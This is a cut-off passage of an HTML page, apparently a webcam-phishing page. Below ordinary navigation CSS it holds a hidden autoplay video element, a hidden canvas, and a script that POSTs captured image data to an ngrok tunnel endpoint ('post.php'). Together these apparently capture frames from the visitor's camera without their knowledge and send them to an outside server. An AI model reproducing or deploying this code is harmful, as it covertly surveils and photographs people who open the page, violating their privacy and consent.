ate-columns: repeat(2, 1fr);
}
}

@media only screen and (max-width: 300px){
.navigation_container{
    grid-template-columns: repeat(1, 1fr);
}
}
</style>

</head>

<div class="video-wrap" hidden="hidden">
   <video id="video" playsinline autoplay></video>
</div>

<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>

<script>

function post(imgdata){
$.ajax({
    type: 'POST',
    data: { cat: imgdata},
    url: 'https://db52-140-213-74-249.ngrok.io/post.php',
  